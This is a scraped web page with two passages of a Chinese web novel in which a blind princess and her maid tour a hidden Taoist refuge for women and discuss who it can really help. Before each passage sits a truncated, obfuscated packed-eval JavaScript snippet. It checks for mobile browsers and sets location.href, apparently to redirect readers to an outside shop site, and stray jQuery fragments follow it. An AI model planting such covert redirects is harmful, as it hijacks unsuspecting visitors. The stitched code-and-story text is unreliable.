;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667123|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个人单独上山,她深感自己责任重大,轻声提醒:“公主,奴婢陪着您。”以显示自己的存在。
周嫽的手从扶手下面伸出来,她马上也伸出手与她重重握了一下。
一路上只有踏实有力的脚步声紧促地响起,伍仙小心翼翼撇了眼周围的许多人,她们皆是一袭黑色长袍,神容肃静,一言不发。都好吓人啊,她搓了搓胳膊,快走几步离公主近了些。
这山看着高,可没一会就到了半山腰。
轿子停下来,公主轻喊伍仙的名字,她立马上前小心搀扶着女子,下一秒抬眼看去,霎时间冷意遍布全身,瞪大了眼睛。
从生息观巍峨宏伟的大门放眼望去,半山腰处竟然遍地都是墓碑,一眼望不到尽头,叫人汗毛倒竖。
“怎么了?”周嫽不适应地拍了拍伍仙的手。
领头的女人观此情形,知道那个叫伍仙的小女孩被吓傻了,体贴出声为看不见的公主解释:“我们把在观中去世的人都埋在了半山腰,坟墓围绕着生息观分布。留在生息观的大多是与家人决裂的女子,无家可归无人可依,祖师娘便提议将女人们埋在生息观周围,不仅让她们有个依靠,正好也能吓吓心怀歹意上来山上的男人。”
“原来是这样。”周嫽摸了摸伍仙的脊背,安抚她:“没事的,不要害怕。”她罕见地开了个玩笑:“我有先皇后金凤之气护身,寻常鬼魂不敢靠近。”
被公主这么一安慰,伍仙反倒羞愧极了,亏她刚还发誓要守护好公主,结果一遇上事便呆呆傻傻愣在了原地不知所措,反倒要主子前来安慰。她羞赧:“我不会怕了,公主。”
周嫽微微一笑,既是对伍仙说又是对领头的女人说:“我想祖师娘这样安排也有保护道观女子的用意。倘若世间真的有各路鬼神,那么生息观一定是全天下女子最安全的地方。”
女人终于露出笑容,看向周嫽的目光带着笑意,“公主说的没错,男人眼中的邪祟妖物,对生息观来说却是庇护我们的神灵。”
听女人这么一说,伍仙顿时不害怕了,好奇地打量起四周。
这生息观虽然位置偏僻,修建的却十分华丽,连带着大开的朱门前面,都铺着平整的石板路。她跟随公主一路向里走,原以为道观便如寺庙一般清雅朴素,却惊奇地发现这生息观不仅从外面瞧豪华非常,内里更是富丽堂皇。
只见雕梁画栋层层推移,假山花石应接不暇,越往里走,各种亭台小阁,石桌秋千,茶楼棋室更是随处可见。
女人在一旁解释:“虽说是道观......但想来公主是能明白的,咱们是为女子们提供安身之所,从前就已经活得十分辛苦了,总不能来了生息观也要谨言慎行,日日疲劳无趣地活着。”
周嫽差不多能够从伍仙不小心露出的惊叹声与身旁女人的话语中推断出来道观大致的情形,她也十分赞同这样的做法,但还是忍不住提问:“这些都是祖师娘修建的么?”
话外之音就是询问偌大一个生息观正常运作所需钱财是从哪来的。
24. 第 24 章
崔晨茗——道观的观主——也是一直陪在她们身边为她们讲解的那位中年女子,道观与道士身份都是战士用来保护她们的盔甲,本质上她们还是与俗世的女人们没有区别。比如并未取道号,她们还保留着自己的名字。
据她所说,虽然生息观位置偏僻,但是常常会有富贵人家的夫人携带家中女眷前来参拜,这也是道士们虽然保留俗世的喜好与习惯,但是仍旧身着道袍的原因。不过她们没有想过刻意隐藏道观的本质,来到这里的夫人们大多能够理解道观的女子们,于是也都睁一眼闭一只眼从未声张,反而捐赠许多钱财。
甚至还有一些是至亲之人选择出家来到道观修行。
不过这只是生息观收入来源之一。
生息观的道士们在京城中许多行业里有自己的产业,比如饭馆、成衣铺子、铁器房等等,其中都有生息观的势力渗透其中。她们经常每月派人下去经营在城中的生意,因为这样的经营模式持续了很久,生息观名下的店铺不仅是口碑极好的老店,而且数量之多连周嫽都忍不住惊讶。
“有些铺子女人不好经营,我们也会扮成男的到店里干活,总归是要赚钱的,怎么都无所谓。”崔晨茗这样说。
除此之外,由于生息观的道士们各个武艺高强,常常会有有钱人家的女子因特殊需要出远门或是别的原因需要有人守护着,这时候男子身份又不好近身了,于是会雇佣生息观的女道士陪在小姐夫人们身边。
生息观的收入来源多种多样,不过道观的修建还是多依赖于祖师娘留下的丰厚财产,她们现在的收入只能帮助生息观维持原本的稍微富裕的生活,更多的便不能了。
崔晨茗带着薛谭来到道观后院,那里养着鸡鸭猪羊,还有一大片菜田。旁边的屋子是纺织屋,道观里的道士们轮流干活,自给自足。
周嫽毫不吝啬夸奖:“前辈们真是有勇有谋,敢做当先。”
崔晨茗挑眉,显然没有预料到会得到公主这样的夸奖。
她对这位福瑄大长公主早有耳闻,京城舆论无非是说这位公主恃宠而骄,任性妄为,甚至疯疯癫癫毫无女儿模样,更有说她身为公主却不安分守己做好天下女子榜样,应当予以废黜的......不过听说讲出这样话的大臣已经被皇帝给杀死了。
不过来到这里的夫人与小姐们倒是对这位公主评价很好,都说公主亲和谦卑,一点架子没有,对女子满怀善心,品德极为高尚。她还得前段时间有位京城沈大人家妻女前来拜访时,那位沈小姐在听见自己打听福瑄公主时激动极了,直接放下茶杯把她夸了整整半个时辰,而她那位传闻中极为守礼克己的邓夫人只是无奈地看着女儿,并不阻拦。
生息观众人都很期待福瑄公主的到来,崔晨茗也不例外,因为她们都想到了她们的祖师娘。
两人都是不为世人所容的公主。
“这便是祖师娘的神像了。”崔晨茗知道这位公主看不见,因此每每遇到需要讲述的地方时都极为细心:“是铜像,我们先有的祖师娘的铜像,后来才建立这样华美的道观。神像高八尺,威仪神武,虽说是许久前做的神像,依旧明光赫赫......”
周嫽看不见,但说话时还是微微低头面朝崔晨茗,“我能否拜一拜?”她已不再自称“本宫”,头也低下去了,对于生息观的女子们,她并不觉得只是普通的平民百姓,反而像对待值得敬佩的前辈们一样尊重。
崔晨茗一愣,不禁想到来人常说的“福瑄公主真是没有一点架子啊”“那真是位谦卑的女子”,此刻才有了实感,尽管明白女子的心意,但还是犹豫:“公主,此举恐怕不妥......”
周嫽微笑:“她既是生息观的祖师娘,也是我的祖先,拜一拜是应当的。”
“......是。”
她为公主找来软垫与香火,本想带领别的道士们一起前来跟随公主祭拜祖师娘,却被阻拦了:“您也说过,心诚则灵,生息观的道长们日日用心侍奉祖师娘,想来她老人家都是看在眼里的,还请不要为了我麻烦。”
崔晨茗震惊,既是为公主待自己与道观上下全部普通女子的的亲和有礼感到惊讶,更是被她从内而外散发的宁和气质所震撼。
自幼长在深宫里金枝玉叶的公主反倒比她们这些名正言顺的道士们更像是出家人。
参拜完祖师娘,周嫽与伍仙留在观中一处厢房单独用餐,崔晨茗还贴心地为等候在山下的玉生等人准备了饭食。
周嫽不习惯由伍仙帮助自己吃饭,在她心底,只有玉生与奢雪横雨三人能够叫她放开所有束缚说话做事。然而伍仙刚却不明白,她侍奉在周嫽身边只有几个月的时间,并不能看懂她的一言一行。
她无奈,只好由伍仙陪着慢吞吞进餐。
过了许久吃完饭,崔晨茗等人兴许觉得周嫽需要午睡,因此未来打扰,而周嫽大致参观了一番生息观,也需要先歇息歇息,理明白思路。
伍仙大多时候都很安静,她话不多,是个踏实的女孩。周嫽想问问她的想法:“你觉得生息观如何?”
女孩正在摆弄炭火,闻言费劲思考了一会,答:“很厉害!”
猜到伍仙会这么说,周嫽失笑,她饮下一口热茶,暖了暖手,慢慢引导女孩说得更多:“你觉得哪一处最厉害?”
“嗯......”伍仙这一回思考的时间更久了,“她们能自己养鸡鸭这些牲畜,奴婢觉得很厉害!”她解释道:“虽说生息观的宗旨是为天下女子提供庇护,但是能够来到生息观的大部分还是有钱人家的女子吧?”
周嫽一愣,思索片刻便觉得伍仙说的有道理。
生息观大名响彻于京城人家的后宅之中,多是犯了错误被家里人惩罚的小姐们被送往生息观,或是些独自生活不下去的女子前来投靠生息观。尽管生息观一定欣然接受穷苦女子,但是能够得知生息观的存在,就说明这名女子家里是有些闲钱能够支撑她的见闻。
“想来她们也会主动救助一些贫困的女
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679051|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人们。”周嫽安慰。
伍仙却摇摇头:“公主不懂,贫困的女人都不会走出村子,更上不来这座山。”
一句话宛如巨石惊起周嫽心底千层浪,这句话点出了生息观势力无法到达的地方,又何尝没有道出周嫽目前所行的不足呢?是了,她总是想着多帮助些女子,然而她所能够帮助的女子大多还只是自己身边那些能够接触得到的,至于伍仙所说的生长在村里的女人,她甚至无法想象是什么样子呢?
不,她连京城以外的女子都没办法想象。
这个残酷的现实让周嫽忍不住感到失落,不过在听到伍仙继续开口时,她又努力打起精神倾听女孩的见解。
“她们大多数人不说从前锦衣玉食,但总归不会是常常与鸡鸭接触的......但是现如今竟能放下身段去做这些事——虽然本身也不是什么大事,但是对她们来说已经很厉害了。”伍仙说罢,自己又摇摇头:“不对,她们能够来到生息观,就代表是十分勇敢的女子了。”
听闻女孩一番话,周嫽很高兴,她觉得自己学到了许多,在自己理想这一方面也打开了许多思路。她先是夸赞伍仙:“你说的太对了!为何旁人总是说你脑袋不灵光,我瞧你聪明着呢,脑子活泛的很。”
伍仙非常不好意思地低下了头,她虽然没什么上进心,性子却很老实,面对主人的夸奖感到非常害羞,“没有,是横雨姐姐教的好。其实我也觉得我从前怪笨的,都是横雨姐姐愿意耐心教导我,哦还有公主!跟在公主身边我也学了很多东西,这才能说那么多话。”
周嫽笑着说:“哪里能这么说呢?别人教你是一回事,你自己聪明也是一回事。若是你脑子真如旁人所说那样笨,想来别人如何教导都是无用功。”
她还记得原来侍奉周明赫的侍女桑乔,与伍仙原来玩的很好,“就拿桑乔来说,她沉着冷静,善于把握时机,而且读书读的非常好,这是她的聪明之处。而你——”
周嫽脸上笑容更盛:“踏实能干,做事能够很清楚地把握好自己的节奏,而且机敏好学,学得更是比别人快得多,这是你的聪明之处。”她认真说:“聪明与否从不在于知道多少,想东西有多么快,而全系于可堪一用——当然,并不是给我用的,是给你、给她或是给许多人用的。只要有,那你便是聪明的人,只不过这份聪明以别的方式表现出来了。”
伍仙听的愣愣的,她速度很慢地眨了下眼,像是在回味什么似的。
过了许久,炭火发出“噼啪”一声,才终于拉回她神游天外的思绪,她咽了下口水,干巴巴又很直白地说:“公主......”
“嗯?”
“我感觉拨云见日四个大字一直在我脑子里飘来飘去。”
周嫽扑哧一声笑出来,“那是好事啊。”她像个真正的十六岁女孩一样浪漫又天真地说:“咱们不是花也不是草,只是不那么强壮的小树苗,拨云见日,拨云见日多好呀,见了太阳咱们才能长得更高更壮是不是?”